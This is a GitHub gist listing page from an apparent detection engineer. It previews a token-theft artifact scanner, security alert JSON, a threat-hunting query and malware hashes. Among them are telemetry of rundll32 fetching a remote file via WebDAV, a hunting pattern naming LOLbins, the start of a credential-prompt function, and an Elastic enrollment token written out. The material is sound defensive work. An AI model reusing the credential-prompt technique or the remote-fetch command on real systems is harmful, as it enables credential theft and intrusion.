Samirbous’s gists

Samirbous / Scan-GithubDevTokenTheft.ps1

Created June 3, 2026 09:59

	#Requires -Version 5.1
	<#
	.SYNOPSIS
	Portable scanner for github.dev VSCode GitHub OAuth token theft artifacts.

	.DESCRIPTION
	Self-contained: embeds primitive-based YARA rules and can bootstrap YARA win64
	into per-user local storage (no admin). Scans Chrome/Edge github.dev IndexedDB
	LevelDB (.log, .ldb) and optional extra paths.

Samirbous / gist:1f9cb4f01a614f13e987865c6311253e

Created June 3, 2026 09:27

Scan-GithubDevTokenTheft.ps1

	#Requires -Version 5.1
	<#
	.SYNOPSIS
	Portable scanner for github.dev VSCode GitHub OAuth token theft artifacts.

	.DESCRIPTION
	Self-contained: embeds primitive-based YARA rules and can bootstrap YARA win64
	into per-user local storage (no admin). Scans Chrome/Edge github.dev IndexedDB
	LevelDB (.log, .ldb) and optional extra paths.

Samirbous / sss

Created October 29, 2025 16:32

	$ProgressPreference = 'SilentlyContinue'
	Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-9.1.6-windows-x86_64.zip -OutFile elastic-agent-9.1.6-windows-x86_64.zip
	Expand-Archive .\elastic-agent-9.1.6-windows-x86_64.zip -DestinationPath .
	cd elastic-agent-9.1.6-windows-x86_64
	.\elastic-agent.exe install --url=https://81d1f155a2ee46028fe8adf3893f3131.fleet.us-central1.gcp.cloud.es.io:443 --enrollment-token=ZVd1VzRKZ0IxM3p3OWlEalVZVmE6SE9OVVozU1BlaHRBUHYyVEV5X1NZUQ==

Samirbous / Potential Shell Execution via NetCat

Created October 23, 2025 08:01

	{
	"_index": ".ds-alert_telemetry_elastic-2025.10.19-001577",
	"_id": "308d63d342f925186e07ebbbd35831db69faeb068099fc2e9f0a01d5d4c8a9b9",
	"_version": 1,
	"_source": {
	"@timestamp": "2025-10-21T10:11:02.108000Z",
	"agent": {
	"build": {
	"original": "version: 9.1.2, compiled: Thu Aug 7 15:00:00 2025, branch: HEAD, commit: 26c15136855b7ac73fdaa74b77e6492f254420c5"
	},

Samirbous / Invoke-AskNicely2

Created October 22, 2025 15:17

	function Invoke-AskNicely2 {

	if (-not ([System.Management.Automation.PSTypeName]'AskNicely2.CredUI').Type) {
	Add-Type @"
	using System;
	using System.Runtime.InteropServices;
	using System.Text;

	namespace AskNicely2 {
	public class CredUI {

Samirbous / amsi_bypass_script_alert

Created October 14, 2025 15:24

	{
	"_index": ".internal.alerts-security.alerts-default-000002",
	"_id": "f5416543d2a90170e669a1304a4a3afd73311220b52072064b09c619f5e31659",
	"_score": 1,
	"_source": {
	"kibana.alert.rule.execution.timestamp": "2025-10-14T15:22:17.403Z",
	"kibana.alert.start": "2025-10-14T15:22:17.403Z",
	"kibana.alert.last_detected": "2025-10-14T15:22:17.403Z",
	"kibana.version": "9.1.2",
	"kibana.alert.rule.parameters": {

Samirbous / ES|QL Scheduled Tasks based64 decoded actions

Created June 25, 2024 22:00

	// hunting on scheduled task via registry.data.bytes
	from logs-endpoint.events.registry-*
	\| where host.os.type == "windows" and event.category == "registry" and event.action == "modification" and
	registry.path like """HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\Actions"""
	\| eval scheduled_task_action = replace(TO_LOWER(FROM_BASE64(registry.data.bytes)), """\u0000""", "")
	\| eval scheduled_task_action = replace(scheduled_task_action, """(\u0003\fauthorfff\|\u0003\fauthorff\u000e)""", "")
	\| where scheduled_task_action rlike """.(users\\public\\\|\\appdata\\roaming\|programdata\|powershell\|rundll32\|regsvr32\|mshta.exe\|cscript.exe\|wscript.exe\|cmd.exe\|forfiles\|msiexec).""" and not scheduled_task_action like "localsystem*"
	\| keep scheduled_task_action, registry.path, agent.id
	\| stats count_agents = count_distinct(agent.id) by scheduled_task_action \| where count_agents == 1

Samirbous / Detonate Dataset

Last active March 8, 2024 11:27

This file has been truncated, but you can view the full file.

	98faaafd3b450d836415eff09da56591fe31c54b4a668498416537262f2cd4c6
	d5760da745c915753a1364a3d9762e75b503192327473bb3bda85282a532f4bc
	ae67088e35d84034a56217bffe9aa3f830ea745b521432a6406106f446cfcee2
	c382b67f4330082877b179fa1d7178cb8261f7519b2bf46965e6cabcd4c943b4
	c7fb77d22e1d937220cc3a7527dd9eb6f5b663da81c830c67f1ba892a868ca27
	68864134a67842ac2f863dfd92ec6ad6567571a436663b0bceda9e2ef0222de2
	e8cbafcf196bb80ccb2249e8f6a18c02d8d67926a298165592c4ec742851749f
	f67dd838b2a5fbb4739bd30ca721240f99f2f66e49c352aa600f2d443004c787
	159dc9de2d297a560eda6f1a1b861d4fe52a285aa475137fc32688ccde8de7e5
	f900d5bebd2241a0f1bf969c7c2ece6b6f53440d97ee3ddcd19566866a2dca18

Samirbous / zeft

Created February 14, 2024 15:01

	"process": {
	"args": [
	"rundll32.exe",
	"C:\\WINDOWS\\system32\\davclnt.dll,DavSetCookie",
	"brukjanesis.com@80",
	"http://brukjanesis.com/TrdGallery/ResultTrd.bmp.url"
	],

Samirbous / gist:b52ba47bd1d51294c9c16d93fe68549d

Created November 18, 2023 15:30

get-date